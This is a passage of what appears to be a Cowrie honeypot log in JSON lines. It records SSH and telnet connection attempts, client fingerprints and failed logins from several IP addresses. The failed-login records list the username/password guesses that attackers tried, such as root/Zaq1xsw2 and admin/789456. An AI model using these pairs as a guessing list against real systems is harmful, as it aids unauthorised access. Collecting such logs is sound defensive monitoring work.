a256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:03:30.233640Z","src_ip":"78.134.49.171","session":"541f75651247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"newpassword","message":"login attempt [admin/newpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:03:30.722811Z","src_ip":"78.134.49.171","session":"541f75651247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:03:31.867892Z","src_ip":"78.134.49.171","session":"541f75651247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":53306,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f4e7cf55143","protocol":"telnet","message":"New connection: 103.115.172.252:53306 (10.17.0.5:23) [session: 4f4e7cf55143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:03:34.147078Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":52600,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ddd5ffc7fae","protocol":"telnet","message":"New connection: 103.115.172.252:52600 (10.17.0.5:23) [session: 2ddd5ffc7fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:03:34.313207Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":53972,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b208c387f71","protocol":"telnet","message":"New connection: 103.115.172.252:53972 (10.17.0.5:23) [session: 3b208c387f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:03:34.935732Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":53644,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1915dbe1fa7","protocol":"telnet","message":"New connection: 103.115.172.252:53644 (10.17.0.5:23) [session: d1915dbe1fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:03:34.950326Z"}
{"eventid":"cowrie.session.closed","duration":35.4871129989624,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:03:39.024623Z","src_ip":"103.115.172.252","session":"c648f1d57cd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.47528028488159,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:03:42.605586Z","src_ip":"103.115.172.252","session":"1fb634554724","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":55474,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9eb54796d77","protocol":"ssh","message":"New connection: 5.182.83.231:55474 (10.17.0.5:22) [session: e9eb54796d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:04:02.553019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:04:02.558245Z","src_ip":"5.182.83.231","session":"e9eb54796d77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:04:02.675748Z","src_ip":"5.182.83.231","session":"e9eb54796d77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zaq1xsw2","message":"login attempt [root/Zaq1xsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:04:03.169135Z","src_ip":"5.182.83.231","session":"e9eb54796d77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:04:04.288030Z","src_ip":"5.182.83.231","session":"e9eb54796d77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.022287130355835,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:04:06.335356Z","src_ip":"103.115.172.252","session":"2ddd5ffc7fae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.829084396362305,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:04:11.976048Z","src_ip":"103.115.172.252","session":"4f4e7cf55143","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.68117928504944,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:04:14.616795Z","src_ip":"103.115.172.252","session":"3b208c387f71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.84586000442505,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:04:14.796079Z","src_ip":"103.115.172.252","session":"d1915dbe1fa7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":53944,"dst_ip":"10.17.0.5","dst_port":23,"session":"945fe34a16be","protocol":"telnet","message":"New connection: 103.115.172.252:53944 (10.17.0.5:23) [session: 945fe34a16be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:04:54.796563Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":35682,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c82b345526e","protocol":"telnet","message":"New connection: 103.115.172.252:35682 (10.17.0.5:23) [session: 7c82b345526e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:05:23.766988Z"}
{"eventid":"cowrie.session.closed","duration":36.74920868873596,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:05:31.545645Z","src_ip":"103.115.172.252","session":"945fe34a16be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":38722,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f1abaa78672","protocol":"telnet","message":"New connection: 103.115.172.252:38722 (10.17.0.5:23) [session: 5f1abaa78672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:05:32.095419Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":47415,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef3f66647d05","protocol":"ssh","message":"New connection: 78.134.49.171:47415 (159.203.135.109:22) [session: ef3f66647d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:05:45.408087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:05:45.412699Z","src_ip":"78.134.49.171","session":"ef3f66647d05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:05:46.067058Z","src_ip":"78.134.49.171","session":"ef3f66647d05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"789456","message":"login attempt [admin/789456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:05:46.990547Z","src_ip":"78.134.49.171","session":"ef3f66647d05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:05:48.109797Z","src_ip":"78.134.49.171","session":"ef3f66647d05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":35998,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ae4684940d0","protocol":"ssh","message":"New connection: 114.141.59.195:35998 (159.203.135.109:22) [session: 0ae4684940d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:00.783607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:00.789211Z","src_ip":"114.141.59.195","session":"0ae4684940d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:01.037585Z","src_ip":"114.141.59.195","session":"0ae4684940d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user@2025","message":"login attempt [ec2-user/ec2-user@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:02.049442Z","src_ip":"114.141.59.195","session":"0ae4684940d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:03.301373Z","src_ip":"114.141.59.195","session":"0ae4684940d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.70688438415527,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:05.473769Z","src_ip":"103.115.172.252","session":"7c82b345526e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.691646575927734,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:08.786952Z","src_ip":"103.115.172.252","session":"5f1abaa78672","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":46970,"dst_ip":"159.203.135.109","dst_port":22,"session":"170a294adc85","protocol":"ssh","message":"New connection: 191.255.52.36:46970 (159.203.135.109:22) [session: 170a294adc85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:14.732746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:14.737613Z","src_ip":"191.255.52.36","session":"170a294adc85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:14.875465Z","src_ip":"191.255.52.36","session":"170a294adc85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq1234567890","message":"login attempt [root/qq1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:15.526163Z","src_ip":"191.255.52.36","session":"170a294adc85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:16.667915Z","src_ip":"191.255.52.36","session":"170a294adc85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":34268,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c55c06c2d92","protocol":"ssh","message":"New connection: 5.182.83.231:34268 (10.17.0.5:22) [session: 5c55c06c2d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:38.202371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:38.207711Z","src_ip":"5.182.83.231","session":"5c55c06c2d92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:38.327747Z","src_ip":"5.182.83.231","session":"5c55c06c2d92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789qwer","message":"login attempt [root/123456789qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:38.828555Z","src_ip":"5.182.83.231","session":"5c55c06c2d92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":33734,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a910b908f2a","protocol":"telnet","message":"New connection: 103.115.172.252:33734 (10.17.0.5:23) [session: 9a910b908f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:39.244011Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:39.948583Z","src_ip":"5.182.83.231","session":"5c55c06c2d92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":56155,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aae4d231a0c","protocol":"ssh","message":"New connection: 78.134.49.171:56155 (159.203.135.109:22) [session: 2aae4d231a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:53.513162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:53.517783Z","src_ip":"78.134.49.171","session":"2aae4d231a0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:53.628914Z","src_ip":"78.134.49.171","session":"2aae4d231a0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak3","password":"ts3","message":"login attempt [teamspeak3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:54.094542Z","src_ip":"78.134.49.171","session":"2aae4d231a0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:06:55.210610Z","src_ip":"78.134.49.171","session":"2aae4d231a0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.103930950164795,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:07:16.347810Z","src_ip":"103.115.172.252","session":"9a910b908f2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.231.213.159","src_port":42606,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d59cb69fce6","protocol":"telnet","message":"New connection: 20.231.213.159:42606 (10.17.0.5:23) [session: 4d59cb69fce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:07:33.700283Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":54242,"dst_ip":"10.17.0.5","dst_port":23,"session":"738c3fe40611","protocol":"telnet","message":"New connection: 103.115.172.252:54242 (10.17.0.5:23) [session: 738c3fe40611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:07:38.115176Z"}
